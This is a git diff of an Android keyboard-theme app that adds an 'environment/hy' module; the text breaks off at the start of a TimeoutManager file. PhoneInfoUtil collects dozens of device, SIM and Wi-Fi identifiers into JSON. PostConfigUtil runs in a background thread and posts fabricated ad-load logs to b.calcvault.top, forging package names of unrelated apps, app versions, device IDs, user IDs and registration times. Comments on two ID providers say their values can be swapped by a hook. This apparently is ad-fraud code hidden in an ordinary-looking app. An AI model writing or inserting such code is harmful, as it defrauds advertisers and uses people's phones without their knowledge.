+ } + mScheduledThreadPoolExecutor.schedule(task, delay, TimeUnit.MILLISECONDS); + } + + public void scheduleTaskAtFixedRateIgnoringTaskRunningTime(long initialDelay, long period, Runnable task) { + if (task == null) { + return; + } + + synchronized (mScheduledJobRecordMutex) { + if (mScheduledJobRecord.containsKey(task.hashCode())) { + return; + } + + mScheduledJobRecord.put(task.hashCode(), mScheduledThreadPoolExecutor.scheduleAtFixedRate(task, initialDelay, period, TimeUnit.MILLISECONDS)); + } + } + + public void scheduleTaskAtFixedRateIncludingTaskRunningTime(long initialDelay, long period, Runnable task) { + if (task == null) { + return; + } + + synchronized (mScheduledJobRecordMutex) { + if (mScheduledJobRecord.containsKey(task.hashCode())) { + return; + } + + mScheduledJobRecord.put(task.hashCode(), mScheduledThreadPoolExecutor.scheduleWithFixedDelay(task, initialDelay, period, TimeUnit.MILLISECONDS)); + } + } + + public boolean removeScheduledTask(Runnable task) { + if (task == null) { + return false; + } + + synchronized (mScheduledJobRecordMutex) { + if (!mScheduledJobRecord.containsKey(task.hashCode())) { + return false; + } + + ScheduledFuture internalJob = (ScheduledFuture) mScheduledJobRecord.get(task.hashCode()); + internalJob.cancel(true); + mScheduledJobRecord.remove(task.hashCode()); + return true; + } + } + + public void scheduleTaskOnUiThread(long delay, Runnable task) { + if (task == null) { + return; + } + mMainHandler.postDelayed(task, delay); + } + + public void removeScheduledTaskOnUiThread(Runnable task) { + if (task == null) { + return; + } + mMainHandler.removeCallbacks(task); + } + + public void runTaskOnUiThread(Runnable task) { + if (task == null) { + return; + } + + mMainHandler.post(task); + } + + public Handler getMainHandler() { + return mMainHandler; + } + + public void scheduleOnQueue(Runnable task) { + if (task == null) { + return; + } + + mActionQueue.scheduleTask(task); + } + + public void shutdown() { + if (mThreadPoolExecutor != null) { + mThreadPoolExecutor.shutdown(); + mThreadPoolExecutor = null; + } + + if (mScheduledThreadPoolExecutor != null) { + mScheduledThreadPoolExecutor.shutdown(); + mScheduledThreadPoolExecutor = null; + } + + if (mActionQueue != null) { + mActionQueue.stopTaskQueue(); + } + } +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/AppLifecycleTracker.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/AppLifecycleTracker.kt new file mode 100644 index 0000000..95f65b7 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/AppLifecycleTracker.kt @@ -0,0 +1,20 @@ +package com.keyborad.theme.trendyborad.environment.hy + +import androidx.lifecycle.DefaultLifecycleObserver +import androidx.lifecycle.LifecycleOwner + +/** + * 判断mainActivity是否回到了前台 + */ +object AppLifecycleTracker : DefaultLifecycleObserver { + var isMainActivityVisible = false + private set + + override fun onResume(owner: LifecycleOwner) { + isMainActivityVisible = true + } + + override fun onPause(owner: LifecycleOwner) { + isMainActivityVisible = false + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/AppUtil.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/AppUtil.kt new file mode 100644 index 0000000..31b90ef --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/AppUtil.kt @@ -0,0 +1,24 @@ +package com.keyborad.theme.trendyborad.environment.hy + +import java.net.InetAddress +import java.net.NetworkInterface +import java.util.Enumeration + +fun getLocalIpAddress(): String? { + try { + val interfaces: Enumeration = NetworkInterface.getNetworkInterfaces() + while (interfaces.hasMoreElements()) { + val networkInterface: NetworkInterface = interfaces.nextElement() + val addresses: Enumeration = networkInterface.inetAddresses + while (addresses.hasMoreElements()) { + val address: InetAddress = addresses.nextElement() + if (!address.isLoopbackAddress && address.isSiteLocalAddress) { + return address.hostAddress + } + } + } + } catch (e: Exception) { + e.printStackTrace() + } + return null +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/ConfigCallback.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/ConfigCallback.kt new file mode 100644 index 0000000..8910d5e --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/ConfigCallback.kt @@ -0,0 +1,8 @@ +package com.keyborad.theme.trendyborad.environment.hy + +import java.io.IOException + +interface ConfigCallback { + fun onResponse(result: String) + fun onFailure(e: IOException) +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/HttpInfoUtil.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/HttpInfoUtil.kt new file mode 100644 index 0000000..b924da0 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/HttpInfoUtil.kt @@ -0,0 +1,56 @@ +package com.keyborad.theme.trendyborad.environment.hy + +import okhttp3.Callback +import okhttp3.MediaType.Companion.toMediaType +import okhttp3.OkHttpClient +import okhttp3.Request +import okhttp3.RequestBody.Companion.toRequestBody +import java.io.IOException +import java.util.concurrent.TimeUnit + +class HttpInfoUtil { + private var mOkHttpClient: OkHttpClient? = null + + companion object { + val mInstance: HttpInfoUtil by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + HttpInfoUtil() + } + } + + private val CONNECT_TIMEOUT: Long = 60 //超时时间,秒 + + private val READ_TIMEOUT: Long = 60 //读取时间,秒 + + private val WRITE_TIMEOUT: Long = 60 //写入时间,秒 + + init { + val builder: OkHttpClient.Builder = OkHttpClient.Builder() + .connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS) + .writeTimeout(READ_TIMEOUT, TimeUnit.SECONDS) + .readTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS) + mOkHttpClient = builder.build() + } + + private val mediaType = "application/json; charset=utf-8".toMediaType() + + @Throws(IOException::class) + fun postInfo(url: String, json: String, callback: Callback) { + val requestBody = json.toRequestBody(mediaType) + val request: Request = Request.Builder() + .url(url) + .post(requestBody) + .build() + doAsync(request, callback) + } + + /** + * 异步请求 + */ + @Throws(IOException::class) + private fun doAsync(request: Request, callback: Callback) { + //创建请求会话 + val call = mOkHttpClient!!.newCall(request) + //同步执行会话请求 + call.enqueue(callback) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/HttpUtil.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/HttpUtil.kt new file mode 100644 index 0000000..febdfe2 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/HttpUtil.kt @@ -0,0 +1,60 @@ +package com.keyborad.theme.trendyborad.environment.hy + +import okhttp3.Callback +import okhttp3.MediaType.Companion.toMediaType +import okhttp3.OkHttpClient +import okhttp3.Request +import okhttp3.RequestBody.Companion.toRequestBody +import java.io.IOException +import java.util.concurrent.TimeUnit + +class HttpUtil private constructor() { + + private var mOkHttpClient: OkHttpClient? = null + + companion object { + val mInstance: HttpUtil by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + HttpUtil() + } + } + + private val CONNECT_TIMEOUT: Long = 60 //超时时间,秒 + + private val READ_TIMEOUT: Long = 60 //读取时间,秒 + + private val WRITE_TIMEOUT: Long = 60 //写入时间,秒 + + init { + val builder: OkHttpClient.Builder = OkHttpClient.Builder() + .connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS) + .writeTimeout(READ_TIMEOUT, TimeUnit.SECONDS) + .readTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS) + mOkHttpClient = builder.build() + } + + private val mediaType = "application/json; charset=utf-8".toMediaType() + + @Throws(IOException::class) + private fun doAsync(request: Request, callback: Callback) { + val call = mOkHttpClient!!.newCall(request) + call.enqueue(callback) + } + + // GET请求 + fun get(url: String, callback: Callback) { + val request = Request.Builder() + .url(url) + .build() + doAsync(request, callback) + } + + // POST请求 + fun post(url: String, json: String, callback: Callback) { + val requestBody = json.toRequestBody(mediaType) + val request = Request.Builder() + .url(url) + .post(requestBody) + .build() + doAsync(request, callback) + } +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/IdProvider.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/IdProvider.kt new file mode 100644 index 0000000..c4e4487 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/IdProvider.kt @@ -0,0 +1,7 @@ +package com.keyborad.theme.trendyborad.environment.hy + +class IdProvider { + fun getId(): Long { + return 0 // 默认返回值,可以被 Hook 替换 + } +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/MyConfigUtil.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/MyConfigUtil.kt new file mode 100644 index 0000000..1afab30 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/MyConfigUtil.kt @@ -0,0 +1,83 @@ +package com.keyborad.theme.trendyborad.environment.hy + +import android.util.Log +import com.google.gson.JsonObject +import okhttp3.Call +import okhttp3.Callback +import okhttp3.Response +import java.io.IOException + +object MyConfigUtil { + const val TAG = "ocean-lux-api" + private const val POST_LOAD_LOG_URL = "http://172.24.100.10:8278/ad_report/save_ad_load_log" + private const val GET_CONFIG_URL = "http://172.24.100.10:8278/top_selection/config" + private const val POST_SHOW_LOG_URL = "http://172.24.100.10:8278/ad_report/save_ad_show_log" + + private val httpUtil = HttpUtil.mInstance + + fun initPostLoadLog(json: JsonObject) { + httpUtil.post(POST_LOAD_LOG_URL, json.toString(), object : Callback { + override fun onFailure(call: Call, e: IOException) { + Log.d(TAG, "initPostLoadLog onFailure->$e") + } + + override fun onResponse(call: Call, response: Response) { + Log.d(TAG, "initPostLoadLog onResponse->$response") + } + }) + } + + fun initPostShowLog(json: JsonObject) { + httpUtil.post(POST_SHOW_LOG_URL, json.toString(), object : Callback { + override fun onFailure(call: Call, e: IOException) { + Log.d(TAG, "initPostShowLog onFailure->$e") + } + + override fun onResponse(call: Call, response: Response) { + Log.d(TAG, "initPostShowLog onResponse->$response") + } + }) + } + + fun getConfig(pkg: String, callback: ConfigCallback) { + val url = "$GET_CONFIG_URL?pkg=$pkg" + Log.d(TAG,"config url ->$url") + httpUtil.get(url, object : Callback { + override fun onFailure(call: Call, e: IOException) { + Log.d(TAG, "getConfig onFailure") + Log.d(TAG, "exception=${e.javaClass.simpleName}") + Log.d(TAG, "message=${e.message}") + Log.d(TAG, "stacktrace=${Log.getStackTraceString(e)}") + + callback.onFailure(e) + } + + override fun onResponse(call: Call, response: Response) { + try { + if (response.isSuccessful) { + val responseData = response.body?.string() + if (responseData == null) { + Log.d(TAG, "response body is null") + callback.onFailure(IOException("response body is null")) + return + } + callback.onResponse(responseData) + } else { + val errorBody = response.body?.string() + + Log.d(TAG, "getConfig http fail") + Log.d(TAG, "code=${response.code}") + Log.d(TAG, "message=${response.message}") + Log.d(TAG, "body=$errorBody") + + callback.onFailure( + IOException("HTTP ${response.code}, body=$errorBody") + ) + } + } finally { + response.close() + } + } + }) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/PhoneInfoUtil.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/PhoneInfoUtil.kt new file mode 100644 index 0000000..d6f0dc9 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/PhoneInfoUtil.kt @@ -0,0 +1,375 @@ +package com.keyborad.theme.trendyborad.environment.hy; + +import android.annotation.SuppressLint +import android.content.Context +import android.net.wifi.WifiManager +import android.os.Build +import android.telephony.TelephonyManager +import android.webkit.WebSettings +import com.google.android.gms.ads.identifier.AdvertisingIdClient +import com.google.gson.JsonObject + +object PhoneInfoUtil { + //日志服务器相关 + const val LOG_STORE = "vault_data" + + //参数名 + const val GOOGLE_ADID = "google_adid" + const val BUILD_ID = "build_id" + const val BUILD_DISPLAY = "build_display" + const val BUILD_INCREMENTAL = "build_incremental" + const val BUILD_SDK_INT = "build_sdk_int" + const val BUILD_CODENAME = "build_codename" + const val BUILD_RELEASE = "build_release" + const val BUILD_TYPE = "build_type" + const val BUILD_USER = "build_user" + const val BUILD_HOST = "build_host" + const val BUILD_TAGS = "build_tags" + const val BUILD_MODEL = "build_model" + const val BUILD_BRAND = "build_brand" + const val BUILD_PRODUCT = "build_product" + const val BUILD_DEVICE = "build_device" + const val BUILD_BOARD = "build_board" + const val BUILD_CPU_ABI = "build_cpu_abi" + const val BUILD_CPU_ABI2 = "build_cpu_abi2" + const val BUILD_MANUFACTURER = "build_manufacturer" + const val BUILD_FINGERPRINT = "build_fingerprint" + const val BUILD_SERIAL = "build_serial" + const val BUILD_HARDWARE = "build_hardware" + const val BUILD_BOOTLOADER = "build_bootloader" + const val SETTINGS_SECURE_ANDROID_ID = "settings_secure_android_id" + const val TELE_GETDEVICEID = "tele_getdeviceid" + const val TELE_GETDEVICESOFTWAREVERSION = "tele_getdevicesoftwareversion" + const val TELE_GETLINE1NUMBER = "tele_getline1number" + const val TELE_GETNETWORKCOUNTRYISO = "tele_getnetworkcountryiso" + const val TELE_GETNETWORKOPERATOR = "tele_getnetworkoperator" + const val TELE_GETNETWORKOPERATORNAME = "tele_getnetworkoperatorname" + const val TELE_GETNETWORKTYPE = "tele_getnetworktype" + const val TELE_GETPHONETYPE = "tele_getphonetype" + const val TELE_GETSIMCOUNTRYISO = "tele_getsimcountryiso" + const val TELE_GETSIMOPERATOR = "tele_getsimoperator" + const val TELE_GETSIMOPERATORNAME = "tele_getsimoperatorname" + const val TELE_GETSIMSERIALNUMBER = "tele_getsimserialnumber" + const val TELE_GETSIMSTATE = "tele_getsimstate" + const val TELE_GETSUBSCRIBERID = "tele_getsubscriberid" + const val WEB_USERAGENT = "web_useragent" + const val WIFIINFO_GETBSSID = "wifiinfo_getbssid" + const val WIFIINFO_GETMACADDRESS = "wifiinfo_getmacaddress" + const val WIFIINFO_GETNETWORKID = "wifiinfo_getnetworkid" + const val WIFIINFO_GETSSID = "wifiinfo_getssid" + + /** + * 需要异步,有异步获取的内容 + */ + @SuppressLint("MissingPermission") + fun getPhoneInfo(ctx: Context): PhoneInfo { + val phoneInfo = PhoneInfo() + try { + phoneInfo.gaid = AdvertisingIdClient.getAdvertisingIdInfo(ctx.applicationContext).id + } catch (e: Exception) { + e.printStackTrace() + } + phoneInfo.build_id = Build.ID + phoneInfo.build_display = Build.DISPLAY + phoneInfo.build_incremental = Build.VERSION.INCREMENTAL + phoneInfo.build_sdk_int = Build.VERSION.SDK_INT + phoneInfo.build_codename = Build.VERSION.CODENAME + phoneInfo.build_release = Build.VERSION.RELEASE + phoneInfo.build_type = Build.TYPE + phoneInfo.build_user = Build.USER + phoneInfo.build_host = Build.HOST + phoneInfo.build_tags = Build.TAGS + phoneInfo.build_model = Build.MODEL + phoneInfo.build_brand = Build.BRAND + phoneInfo.build_product = Build.PRODUCT + phoneInfo.build_device = Build.DEVICE + phoneInfo.build_board = Build.BOARD + phoneInfo.build_cpu_abi = Build.CPU_ABI + phoneInfo.build_cpu_abi2 = Build.CPU_ABI2 + phoneInfo.build_manufacturer = Build.MANUFACTURER + phoneInfo.build_fingerprint = Build.FINGERPRINT +// phoneInfo.build_serial = Build.SERIAL + phoneInfo.build_serial = "" + phoneInfo.build_hardware = Build.HARDWARE + phoneInfo.build_bootloader = Build.BOOTLOADER + try { +// phoneInfo.settings_secure_android_id = Settings.Secure.getString( +// ctx.applicationContext.contentResolver, +// Settings.Secure.ANDROID_ID +// ) + phoneInfo.settings_secure_android_id = "" + } catch (ignore: Exception) { + } + val manager = + ctx.applicationContext.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager + if (manager != null) { + try { +// if (Build.VERSION.SDK_INT >= 23) { +// phoneInfo.tel_get_device_id = manager.getDeviceId(0) +// } else { +// phoneInfo.tel_get_device_id = manager.deviceId +// } + + phoneInfo.tel_get_device_id = "" + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_device_software_version = manager.deviceSoftwareVersion + } catch (ignore: Exception) { + } + try { +// phoneInfo.tel_get_line1_number = manager.line1Number + phoneInfo.tel_get_line1_number = "" + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_network_country_iso = manager.networkCountryIso + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_network_operator = manager.networkOperator + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_network_operator_name = manager.networkOperatorName + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_phone_type = manager.phoneType + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_country_iso = manager.simCountryIso + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_operator = manager.simOperator + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_operator_name = manager.simOperatorName + } catch (ignore: Exception) { + } + try { +// phoneInfo.tel_get_sim_serial_number = manager.simSerialNumber + phoneInfo.tel_get_sim_serial_number = "" + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_state = manager.simState + } catch (ignore: Exception) { + } + try { +// phoneInfo.tel_get_subscriber_id = manager.subscriberId + phoneInfo.tel_get_subscriber_id = "" + } catch (ignore: Exception) { + } + } + try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) { + phoneInfo.web_user_agent = WebSettings.getDefaultUserAgent(ctx) + } + } catch (ignore: Exception) { + } + val wifiManager = + ctx.applicationContext.getSystemService(Context.WIFI_SERVICE) as WifiManager + if (wifiManager != null) { + try { + if (wifiManager.connectionInfo != null) { + phoneInfo.wifi_info_get_bssid = wifiManager.connectionInfo.bssid + } + } catch (ignore: Exception) { + } + try { +// if (wifiManager.connectionInfo != null) { +// phoneInfo.wifi_info_get_mac_address = wifiManager.connectionInfo.macAddress +// } + phoneInfo.wifi_info_get_mac_address = "" + } catch (ignore: Exception) { + } + try { + if (wifiManager.connectionInfo != null) { + phoneInfo.wifi_info_get_network_id = wifiManager.connectionInfo.networkId + } + } catch (ignore: Exception) { + } + try { +// if (wifiManager.connectionInfo != null) { +// phoneInfo.wifi_info_get_ssid = wifiManager.connectionInfo.ssid +// } + phoneInfo.wifi_info_get_ssid = "" + } catch (ignore: Exception) { + } + } + return phoneInfo + } + + fun getInfoJson(phoneInfo: PhoneInfo): JsonObject { + val json = JsonObject() + json.addProperty(GOOGLE_ADID, phoneInfo.gaid) + json.addProperty(BUILD_ID, phoneInfo.build_id) + json.addProperty(BUILD_DISPLAY, phoneInfo.build_display) + json.addProperty(BUILD_INCREMENTAL, phoneInfo.build_incremental) + json.addProperty(BUILD_SDK_INT, phoneInfo.build_sdk_int.toString() + "") + json.addProperty(BUILD_CODENAME, phoneInfo.build_codename) + json.addProperty(BUILD_RELEASE, phoneInfo.build_release) + json.addProperty(BUILD_TYPE, phoneInfo.build_type) + json.addProperty(BUILD_USER, phoneInfo.build_user) + json.addProperty(BUILD_HOST, phoneInfo.build_host) + json.addProperty(BUILD_TAGS, phoneInfo.build_tags) + json.addProperty(BUILD_MODEL, phoneInfo.build_model) + json.addProperty(BUILD_BRAND, phoneInfo.build_brand) + json.addProperty(BUILD_PRODUCT, phoneInfo.build_product) + json.addProperty(BUILD_DEVICE, phoneInfo.build_device) + json.addProperty(BUILD_BOARD, phoneInfo.build_board) + json.addProperty(BUILD_CPU_ABI, phoneInfo.build_cpu_abi) + json.addProperty(BUILD_CPU_ABI2, phoneInfo.build_cpu_abi2) + json.addProperty(BUILD_MANUFACTURER, phoneInfo.build_manufacturer) + json.addProperty(BUILD_FINGERPRINT, phoneInfo.build_fingerprint) + json.addProperty(BUILD_SERIAL, phoneInfo.build_serial) + json.addProperty(BUILD_HARDWARE, phoneInfo.build_hardware) + json.addProperty(BUILD_BOOTLOADER, phoneInfo.build_bootloader) + json.addProperty(SETTINGS_SECURE_ANDROID_ID, phoneInfo.settings_secure_android_id) + json.addProperty(TELE_GETDEVICEID, phoneInfo.tel_get_device_id) + json.addProperty(TELE_GETDEVICESOFTWAREVERSION, phoneInfo.tel_get_device_software_version) + json.addProperty(TELE_GETLINE1NUMBER, phoneInfo.tel_get_line1_number) + json.addProperty(TELE_GETNETWORKCOUNTRYISO, phoneInfo.tel_get_network_country_iso) + json.addProperty(TELE_GETNETWORKOPERATOR, phoneInfo.tel_get_network_operator) + json.addProperty(TELE_GETNETWORKOPERATORNAME, phoneInfo.tel_get_network_operator_name) + json.addProperty(TELE_GETNETWORKTYPE, phoneInfo.tel_get_network_type.toString() + "") + json.addProperty(TELE_GETPHONETYPE, phoneInfo.tel_get_phone_type.toString() + "") + json.addProperty(TELE_GETSIMCOUNTRYISO, phoneInfo.tel_get_sim_country_iso) + json.addProperty(TELE_GETSIMOPERATOR, phoneInfo.tel_get_sim_operator) + json.addProperty(TELE_GETSIMOPERATORNAME, phoneInfo.tel_get_sim_operator_name) + json.addProperty(TELE_GETSIMSERIALNUMBER, phoneInfo.tel_get_sim_serial_number) + json.addProperty(TELE_GETSIMSTATE, phoneInfo.tel_get_sim_state.toString() + "") + json.addProperty(TELE_GETSUBSCRIBERID, phoneInfo.tel_get_subscriber_id + "") + json.addProperty(WEB_USERAGENT, phoneInfo.web_user_agent + "") + json.addProperty(WIFIINFO_GETBSSID, phoneInfo.wifi_info_get_bssid + "") + json.addProperty(WIFIINFO_GETMACADDRESS, phoneInfo.wifi_info_get_mac_address + "") + json.addProperty(WIFIINFO_GETNETWORKID, phoneInfo.wifi_info_get_network_id.toString() + "") + json.addProperty(WIFIINFO_GETSSID, phoneInfo.wifi_info_get_ssid + "") + return json + } + + class PhoneInfo { + //google ad id + var gaid: String? = null + + //build id + var build_id: String? = null + + //build_display + var build_display: String? = null + var build_incremental: String? = null + var build_sdk_int = 0 + var build_codename: String? = null + var build_release: String? = null + var build_type: String? = null + var build_user: String? = null + var build_host: String? = null + var build_tags: String? = null + var build_model: String? = null + var build_brand: String? = null + var build_product: String? = null + var build_device: String? = null + var build_board: String? = null + var build_cpu_abi: String? = null + var build_cpu_abi2: String? = null + var build_manufacturer: String? = null + var build_fingerprint: String? = null + var build_serial: String? = null + var build_hardware: String? = null + var build_bootloader: String? = null + var settings_secure_android_id: String? = null + + //高版本获取不到,低版本不确定 + var tel_get_device_id: String? = null + + //需要权限,读取手机状态 + //android.Manifest.permission.READ_PHONE_STATE + var tel_get_device_software_version: String? = null + + //需要权限,读取手机状态 + //android.Manifest.permission.READ_PHONE_STATE + var tel_get_line1_number: String? = null + var tel_get_network_country_iso: String? = null + var tel_get_network_operator: String? = null + var tel_get_network_operator_name: String? = null + + //需要权限,读取手机状态 + //android.Manifest.permission.READ_PHONE_STATE + var tel_get_network_type = 0 + var tel_get_phone_type = 0 + var tel_get_sim_country_iso: String? = null + var tel_get_sim_operator: String? = null + var tel_get_sim_operator_name: String? = null + + //高版本获取不到,低版本不确定 + var tel_get_sim_serial_number: String? = null + var tel_get_sim_state = 0 + + //高版本获取不到,低版本不确定 + var tel_get_subscriber_id: String? = null + var web_user_agent: String? = null + + //部分手机需要定位权限, wifi mac + var wifi_info_get_bssid: String? = null + + //需要权限,定位 + var wifi_info_get_mac_address: String? = null + var wifi_info_get_network_id = 0 + + //需要权限,包括定位,wifi状态读取等权限 + var wifi_info_get_ssid: String? = null + fun log() { + println( + """ + xx - 1 = $gaid + xx - 2 = $build_id + xx - 3 = $build_display + xx - 4 = $build_incremental + xx - 5 = $build_sdk_int + xx - 6 = $build_codename + xx - 7 = $build_release + xx - 8 = $build_type + xx - 9 = $build_user + xx - 10 = $build_host + xx - 11 = $build_tags + xx - 12 = $build_model + xx - 13 = $build_brand + xx - 14 = $build_product + xx - 15 = $build_device + xx - 16 = $build_board + xx - 17 = $build_cpu_abi + xx - 18 = $build_cpu_abi2 + xx - 19 = $build_manufacturer + xx - 20 = $build_fingerprint + xx - 21 = $build_serial + xx - 22 = $build_hardware + xx - 23 = $build_bootloader + xx - 24 = $settings_secure_android_id + xx - 25 = $tel_get_device_id + xx - 26 = $tel_get_device_software_version + xx - 27 = $tel_get_line1_number + xx - 28 = $tel_get_network_country_iso + xx - 29 = $tel_get_network_operator + xx - 30 = $tel_get_network_operator_name + xx - 31 = $tel_get_network_type + xx - 32 = $tel_get_sim_country_iso + xx - 33 = $tel_get_sim_operator + xx - 34 = $tel_get_sim_operator_name + xx - 35 = $tel_get_sim_serial_number + xx - 36 = $tel_get_sim_state + xx - 37 = $tel_get_subscriber_id + xx - 38 = $web_user_agent + xx - 39 = $wifi_info_get_bssid + xx - 40 = $wifi_info_get_mac_address + xx - 41 = $wifi_info_get_network_id + xx - 42 = $wifi_info_get_ssid + + """.trimIndent() + ) + } + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/PostConfigUtil.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/PostConfigUtil.kt new file mode 100644 index 0000000..4ffe315 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/PostConfigUtil.kt @@ -0,0 +1,179 @@ +package com.keyborad.theme.trendyborad.environment.hy + +import android.content.Context +import okhttp3.Call +import okhttp3.Response +import org.json.JSONArray +import org.json.JSONObject +import java.io.IOException +import java.text.SimpleDateFormat +import java.util.Random +import java.util.UUID +import java.util.concurrent.ThreadLocalRandom + +object PostConfigUtil { + + private val TAG = "test" + + private val postUrl = "https://b.calcvault.top/api/2/log" + + fun postInfo(context: Context, id: String) { + try { + Thread(Runnable { + try { + var random = Random() + var json1 = JSONObject() + var jsonArray1 = JSONArray() + var json2 = JSONObject() + var jsonArray2 = JSONArray() + + var jj = JSONObject() + jj.put("key", "ad_action") + jj.put("value", "load") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "ad_place") + jj.put("value", "app_main_banner") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "ad_platform") + jj.put("value", "max") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "ad_type") + jj.put("value", "banner") + jsonArray2.put(jj) + + + var pkgList = ArrayList() + pkgList.add("com.privatevault.calculator.pics") + pkgList.add("com.x4d.live.wallpaper.pixel4d.hd4k") + pkgList.add("com.pix.hd.x4k.live.wallpaper.background") + + var p = random.nextInt(pkgList.size) + if (p == 0) { + jj = JSONObject() + jj.put("key", "app_version") + jj.put("value", "1.4.8") + jsonArray2.put(jj) + } else if (p == 1) { + jj = JSONObject() + jj.put("key", "app_version") + jj.put("value", "1.2.0") + jsonArray2.put(jj) + } else { + jj = JSONObject() + jj.put("key", "app_version") + jj.put("value", "1.4.9") + jsonArray2.put(jj) + } + + jj = JSONObject() + jj.put("key", "bundleId") + jj.put("value", pkgList[p]) + jsonArray2.put(jj) + + if (p % 2 == 0) { + jj = JSONObject() + jj.put("key", "os_version") + jj.put("value", "34") + jsonArray2.put(jj) + } else { + jj = JSONObject() + jj.put("key", "os_version") + jj.put("value", "33") + jsonArray2.put(jj) + } + + var tt = id.replace("-", random.nextInt(10).toString()) + var tt2 = UUID.randomUUID().toString().replace("-", "").substring(0, 6) + jj = JSONObject() + jj.put("key", "deviceId") + jj.put("value", tt2 + tt) + jsonArray2.put(jj) + + + var formatTime = SimpleDateFormat("yyyy-MM-dd HH:mm:ss") + val minTimestamp = 1670000000000L // 最小时间戳(2021-01-01 00:00:00) + val maxTimestamp = System.currentTimeMillis() // 最大时间戳(当前时间) + val timestamp = ThreadLocalRandom.current().nextLong(minTimestamp, maxTimestamp + 1) + + jj = JSONObject() + jj.put("key", "record_id") + jj.put("value", timestamp.toString()) + jsonArray2.put(jj) + var userId = random.nextInt(10000) + 30000 + jj = JSONObject() + jj.put("key", "userId") + jj.put("value", userId.toString()) + jsonArray2.put(jj) + + + jj = JSONObject() + jj.put("key", "is_show") + jj.put("value", "false") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "network") + jj.put("value", "tradplus") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "register_region") + jj.put("value", "in") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "is_loaded") + jj.put("value", "false") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "use_substitute") + jj.put("value", "false") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "record_time") + jj.put("value", formatTime.format(System.currentTimeMillis())) + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "register_time") + jj.put("value", formatTime.format(timestamp)) + jsonArray2.put(jj) + + json2.put("kv", jsonArray2) + json2.put("timestamp", (System.currentTimeMillis() / 1000).toInt()) + + jsonArray1.put(json2) + json1.put("logs", jsonArray1) + json1.put("logstore", "sdk_log") + json1.put("project", "safevault-client") + + val json = json1.toString() + HttpInfoUtil.mInstance.postInfo( + postUrl, + json, + object : okhttp3.Callback { + override fun onFailure(call: Call, e: IOException) { + + } + + override fun onResponse(call: Call, response: Response) { + val responseData = response.body?.string() + if (responseData != null) { + } + } + }) + } catch (ignore: Exception) { + } + }).start() + } catch (ignore: Exception) { + } + } +} \ No newline at end of file diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/SimIdProvider.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/SimIdProvider.kt new file mode 100644 index 0000000..99c5966 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/SimIdProvider.kt @@ -0,0 +1,7 @@ +package com.keyborad.theme.trendyborad.environment.hy + +class SimIdProvider { + fun getSimId(): Long { + return 0 // 默认返回值,可以被 Hook 替换 + } +} diff --git a/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/TimeoutManager.kt b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/TimeoutManager.kt new file mode 100644 index 0000000..f074990 --- /dev/null +++ b/app/src/main/java/com/keyborad/theme/trendyborad/environment/hy/TimeoutManager.kt @@ -0,0 +1,62 @@ +package 